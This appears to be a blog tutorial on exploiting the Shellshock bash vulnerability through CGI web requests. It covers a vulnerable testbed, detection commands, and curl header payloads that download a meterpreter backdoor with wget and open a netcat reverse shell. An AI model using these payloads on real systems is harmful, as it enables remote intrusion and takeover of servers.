Hacking with Shellshock

Shellshock is a vulnerability reminiscent of Heartbleed.  The large majority of servers on the internet are vulnerable, and the vulnerability has existed for a long time before it was publicly discovered.  There are a number of CVE’s for different Shellshock attacks, including CVE-2014-6271,  CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, and CVE-2014-6277.  We’ll be focusing on the first CVE-2014-6271.  The rest are very similar.

Shellshock is a a vulnerability in GNU bash that allows remote users to execute arbitrary commands on a machine.  For technical details on how the vulnerability works, follow this link.

Setup Your Testbed

The setup is simple.  Install a Linux machine that was released before September 28, 2014.  Then install a web server, but don’t update the rest of the system (particularly bash).


How do you find a vulnerable host?

There are two ways to find a vulnerable host.  The first, if you have command line access to the machine, is to run a command:

$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

If the system says “vulnerable”, then you are vulnerable.  Otherwise if it just says “this is a test”, then you are patched.

Example of a vulnerable system:



Example of a patched system:



The second way, if you do not have command line access to the machine, is to remotely send a web request that tells bash to run a command.  The trick here is that you need to find a backend CGI script that runs bash in some manner, which is often impossible to tell as a client.  This makes vulnerability scanning more likely to return false negatives on shellshock vulnerability unless they are authenticated scans.

Furthermore, most PHP and Python backend scripts will not be vulnerable unless they use bash scripting in the backend (such as using the system() or popen() calls).

A vulnerable system can be setup for remote commands as follows:

  1. Setup a colesec_shellshock.cgi script on the server side that uses bash scripting, such as the following:
    echo "Content-type: text/html"
    echo ""
    echo "Colesec Testing"

  2. Save the script to a location it will be run as a cgi script (on my server, it is /usr/lib/cgi-bin, or sometimes simply saving it as .cgi in the web root will work). Don’t forget to make it executable (chmod 755 colesec_shellshock.cgi)
  3. Now from your malicious client, you can craft a web request with a bash command in the headers.  In this example, we will use the User-Agent header for the bash command, with curl to craft the packet.  Any header and any packet creating agent (like another scripting language) could be used instead:
    $ curl -k -H 'User-Agent: () { :;}; echo colesec>/tmp/shellshock'
    Colesec Testing

After the above steps have been completed, a new file should have been created on the server in /tmp/shellshock.

Of course the results of the “echo” command will not return anything, so the normal “Colesec Testing” output is returned.  If this were a different command that returns an output, that will change what the CGI script looks like, and you’ll get back an 500 Internal Server Error status message rather than a 200 OK.  If you do not have access to the server, a great way to tell if it is vulnerable is if you get a 500 Internal Server Error with your malicious User-Agent string, when otherwise you would get a 200 OK with a normal User-Agent string.

The shellshock tester websites available simply run through some scripts (such as cPanel, FormMail, etc.) that are known to use bash in them.  When the request returns with a status of 500 instead of 200, then you know it is vulnerable.

How do you attack that host?

Instead of creating a benign file, you can download (and subsequently run) a backdoor such as a meterpreter payload (create with msfpayload):

$ curl -k -H 'User-Agent: () { :;}; /bin/bash -c "wget -O /tmp/meterpreter1"'

This should download your payload, assuming is your vulnerable target, and is your client.  In the next run, you can run your payload.  Another option is to simply use netcat to open a session back to your client.  On the client, start a listener like this:

$ nc -kvl 4444

Then you can run the command to have the server connect back to the client:

$ curl -k -H 'User-Agent: () { :;}; /bin/bash -c "nc -e /bin/bash 4444"'

This should open a shell back to your server:

$ nc -kvl 4444
Connection from port 4444 [tcp/*] accepted
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As a note above, the Ubuntu version of netcat doesn’t have the -e command, so you could run into issues there.

Finally, you can simply include your own shell code to run something.  There are many options.  I am sure a metasploit module to streamline the process will be out soon.  From here, look for the various privilege escalation options to get root.

Happy hacking!

Other References:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ – Shellshock with DHCP

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>